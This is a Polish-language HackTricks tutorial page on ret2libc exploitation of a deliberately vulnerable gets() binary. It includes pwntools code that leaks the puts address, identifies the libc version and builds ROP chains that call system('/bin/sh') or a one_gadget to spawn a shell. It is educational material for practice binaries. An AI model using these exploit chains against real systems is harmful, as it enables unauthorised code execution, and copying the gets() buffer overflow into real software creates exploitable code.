mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
297 lines
14 KiB
Markdown
297 lines
14 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
# Szybkie podsumowanie
|
|
|
|
1. **Znajdź** przesunięcie **przepełnienia**
|
|
2. **Znajdź** gadżety `POP_RDI`, `PUTS_PLT` i `MAIN_PLT`
|
|
3. Użyj wcześniejszych gadżetów do **wycieku adresu pamięci** puts lub innej funkcji libc i **znajdź wersję libc** ([pobierz ją](https://libc.blukat.me))
|
|
4. Korzystając z biblioteki, **oblicz ROP i wykorzystaj go**
|
|
|
|
# Inne samouczki i pliki binarne do ćwiczeń
|
|
|
|
Ten samouczek będzie wykorzystywał kod/binarny zaproponowany w tym samouczku: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
|
Inne przydatne samouczki: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
|
|
|
# Kod
|
|
|
|
Nazwa pliku: `vuln.c`
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
char buffer[32];
|
|
puts("Simple ROP.\n");
|
|
gets(buffer);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```bash
|
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
|
```
|
|
# ROP - Szablon wyciekający LIBC
|
|
|
|
Będę używać kodu znajdującego się tutaj, aby przeprowadzić atak.\
|
|
Pobierz exploit i umieść go w tym samym katalogu co podatny plik binarny oraz podaj wymagane dane skryptowi:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
# 1- Znalezienie przesunięcia
|
|
|
|
Szablon wymaga przesunięcia przed kontynuacją ataku. Jeśli nie zostanie podane, zostanie wykonany odpowiedni kod w celu znalezienia go (domyślnie `OFFSET = ""`):
|
|
```bash
|
|
###################
|
|
### Find offset ###
|
|
###################
|
|
OFFSET = ""#"A"*72
|
|
if OFFSET == "":
|
|
gdb.attach(p.pid, "c") #Attach and continue
|
|
payload = cyclic(1000)
|
|
print(r.clean())
|
|
r.sendline(payload)
|
|
#x/wx $rsp -- Search for bytes that crashed the application
|
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
|
return
|
|
```
|
|
**Wykonaj** `python template.py`, otworzy się konsola GDB z programem, który się zawiesił. Wewnątrz tej **konsoli GDB** wykonaj `x/wx $rsp`, aby uzyskać **bajty**, które miały nadpisać RIP. Na koniec, użyj konsoli **pythona**, aby uzyskać **przesunięcie**:
|
|
```python
|
|
from pwn import *
|
|
cyclic_find(0x6161616b)
|
|
```
|
|
.png>)
|
|
|
|
Po znalezieniu przesunięcia (w tym przypadku 40) zmień zmienną OFFSET w szablonie, używając tej wartości.\
|
|
`OFFSET = "A" * 40`
|
|
|
|
Innym sposobem jest użycie: `pattern create 1000` -- _wykonaj do ret_ -- `pattern search $rsp` z GEF.
|
|
|
|
# 2- Znajdowanie gadżetów
|
|
|
|
Teraz musimy znaleźć gadżety ROP wewnątrz pliku binarnego. Gadżety ROP będą przydatne do wywołania `puts`, aby znaleźć używaną bibliotekę **libc**, a następnie do **uruchomienia ostatecznego ataku**.
|
|
```python
|
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
|
MAIN_PLT = elf.symbols['main']
|
|
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
|
RET = (rop.find_gadget(['ret']))[0]
|
|
|
|
log.info("Main start: " + hex(MAIN_PLT))
|
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
|
```
|
|
`PUTS_PLT` jest potrzebne do wywołania funkcji **puts**.\
|
|
`MAIN_PLT` jest potrzebne do ponownego wywołania **głównej funkcji** po jednym interakcji, aby **wykorzystać** przepełnienie **ponownie** (nieskończone rundy wykorzystania). **Jest używane na końcu każdego ROP, aby ponownie wywołać program**.\
|
|
**POP\_RDI** jest potrzebne do **przekazania** parametru do wywoływanej funkcji.
|
|
|
|
W tym kroku nie musisz niczego wykonywać, ponieważ wszystko zostanie znalezione przez narzędzie pwntools podczas wykonywania.
|
|
|
|
# 3- Wyszukiwanie biblioteki LIBC
|
|
|
|
Teraz nadszedł czas, aby dowiedzieć się, która wersja biblioteki **libc** jest używana. Aby to zrobić, będziemy **wyciekać** **adres** w pamięci funkcji `puts`, a następnie będziemy **szukać**, w której wersji biblioteki znajduje się ta wersja puts na tym adresie.
|
|
```python
|
|
def get_addr(func_name):
|
|
FUNC_GOT = elf.got[func_name]
|
|
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
|
# Create rop chain
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
|
|
#Send our rop-chain payload
|
|
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
|
print(p.clean()) # clean socket buffer (read all and print)
|
|
p.sendline(rop1)
|
|
|
|
#Parse leaked address
|
|
recieved = p.recvline().strip()
|
|
leak = u64(recieved.ljust(8, "\x00"))
|
|
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
|
#If not libc yet, stop here
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
|
|
return hex(leak)
|
|
|
|
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
|
if libc == "":
|
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
|
p.interactive()
|
|
```
|
|
Aby to zrobić, najważniejsza linia wykonanego kodu to:
|
|
```python
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
```
|
|
To wyśle kilka bajtów, aż będzie możliwe **nadpisanie** **RIP**: `OFFSET`.\
|
|
Następnie ustawiony zostanie **adres** gadżetu `POP_RDI`, aby następny adres (`FUNC_GOT`) został zapisany w rejestrze **RDI**. Dzieje się tak, ponieważ chcemy **wywołać funkcję puts**, przekazując jej **adres** `PUTS_GOT` jako adres w pamięci funkcji puts, który jest zapisany pod adresem wskazywanym przez `PUTS_GOT`.\
|
|
Następnie zostanie wywołane `PUTS_PLT` (z `PUTS_GOT` w rejestrze **RDI**), dzięki czemu puts odczyta zawartość wewnątrz `PUTS_GOT` (**adres funkcji puts w pamięci**) i **wypisze go**.\
|
|
Na koniec ponownie zostanie wywołana **funkcja main**, aby można było ponownie wykorzystać przepełnienie.
|
|
|
|
W ten sposób **oszukaliśmy funkcję puts**, aby **wypisała** adres w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
|
|
|
|
.png>)
|
|
|
|
Ponieważ **wykorzystujemy** pewny **lokalny** plik binarny, **nie jest konieczne** ustalanie, która wersja **libc** jest używana (wystarczy znaleźć bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
|
|
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak możesz to znaleźć:
|
|
|
|
## 3.1- Wyszukiwanie wersji libc (1)
|
|
|
|
Możesz wyszukać używaną bibliotekę na stronie internetowej: [https://libc.blukat.me/](https://libc.blukat.me)\
|
|
Pozwoli to również pobrać odkrytą wersję **libc**.
|
|
|
|
.png>)
|
|
|
|
## 3.2- Wyszukiwanie wersji libc (2)
|
|
|
|
Możesz również wykonać:
|
|
|
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
|
* `$ cd libc-database`
|
|
* `$ ./get`
|
|
|
|
To zajmie trochę czasu, bądź cierpliwy.\
|
|
Aby to zadziałało, potrzebujemy:
|
|
|
|
* Nazwa symbolu libc: `puts`
|
|
* Wyciekły adres libc: `0x7ff629878690`
|
|
|
|
Możemy dowiedzieć się, która **libc** jest najprawdopodobniej używana.
|
|
```
|
|
./find puts 0x7ff629878690
|
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
|
```
|
|
Mamy 2 dopasowania (powinieneś spróbować drugiego, jeśli pierwszy nie działa). Pobierz pierwszy:
|
|
```
|
|
./download libc6_2.23-0ubuntu10_amd64
|
|
Getting libc6_2.23-0ubuntu10_amd64
|
|
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
|
-> Downloading package
|
|
-> Extracting package
|
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
|
```
|
|
Skopiuj libc z `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` do naszego katalogu roboczego.
|
|
|
|
## 3.3- Inne funkcje do wycieku
|
|
```python
|
|
puts
|
|
printf
|
|
__libc_start_main
|
|
read
|
|
gets
|
|
```
|
|
# 4- Znajdowanie adresu biblioteki libc i wykorzystywanie go
|
|
|
|
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny plik binarny, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
|
|
|
|
Więc na początku pliku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy`
|
|
|
|
Podając **ścieżkę** do **biblioteki libc**, reszta **exploita zostanie automatycznie obliczona**.
|
|
|
|
Wewnątrz funkcji `get_addr` zostanie obliczony **bazowy adres libc**:
|
|
```python
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
```
|
|
{% hint style="info" %}
|
|
Należy zauważyć, że **końcowa podstawowa adresu libc musi kończyć się na 00**. Jeśli tak nie jest, może to oznaczać wyciek nieprawidłowej biblioteki.
|
|
{% endhint %}
|
|
|
|
Następnie, adres funkcji `system` oraz **adres** ciągu znaków _"/bin/sh"_ zostaną **obliczone** na podstawie **adresu podstawowego** biblioteki **libc** i danej **biblioteki libc**.
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
|
SYSTEM = libc.sym["system"]
|
|
EXIT = libc.sym["exit"]
|
|
|
|
log.info("bin/sh %s " % hex(BINSH))
|
|
log.info("system %s " % hex(SYSTEM))
|
|
```
|
|
W końcu, exploit wykonujący /bin/sh zostanie przygotowany i wysłany:
|
|
```python
|
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
|
|
|
p.clean()
|
|
p.sendline(rop2)
|
|
|
|
#### Interact with the shell #####
|
|
p.interactive() #Interact with the conenction
|
|
```
|
|
Wyjaśnijmy ten ostatni ROP.\
|
|
Ostatni ROP (`rop1`) kończył wywołanie funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego tutaj jest ponownie `OFFSET`). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`), a następnie wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\
|
|
Na koniec **wywoływana jest funkcja exit**, aby proces **ładnie zakończył działanie** i nie generował żadnych alertów.
|
|
|
|
**W ten sposób exploit uruchomi powłokę **_**/bin/sh**_**.**
|
|
|
|
.png>)
|
|
|
|
# 4(2)- Używanie ONE\_GADGET
|
|
|
|
Możesz również użyć [**ONE\_GADGET**](https://github.com/david942j/one\_gadget), aby uzyskać powłokę zamiast korzystać z **system** i **"/bin/sh". ONE\_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**. \
|
|
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to takie jak `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać kilka dodatkowych wartości NULL, aby uniknąć ograniczenia.
|
|
|
|
.png>)
|
|
```python
|
|
ONE_GADGET = libc.address + 0x4526a
|
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|
```
|
|
# PLIK EXPLOITACJI
|
|
|
|
Szablon do wykorzystania tej podatności można znaleźć tutaj:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
# Powszechne problemy
|
|
|
|
## MAIN\_PLT = elf.symbols\['main'] nie został znaleziony
|
|
|
|
Jeśli symbol "main" nie istnieje, możesz po prostu sprawdzić, gdzie znajduje się kod główny:
|
|
```python
|
|
objdump -d vuln_binary | grep "\.text"
|
|
Disassembly of section .text:
|
|
0000000000401080 <.text>:
|
|
```
|
|
i ustaw adres ręcznie:
|
|
```python
|
|
MAIN_PLT = 0x401080
|
|
```
|
|
## Puts nie znaleziony
|
|
|
|
Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa
|
|
|
|
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Jeśli po utworzeniu **wszystkich** exploitów napotkasz ten **błąd**: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|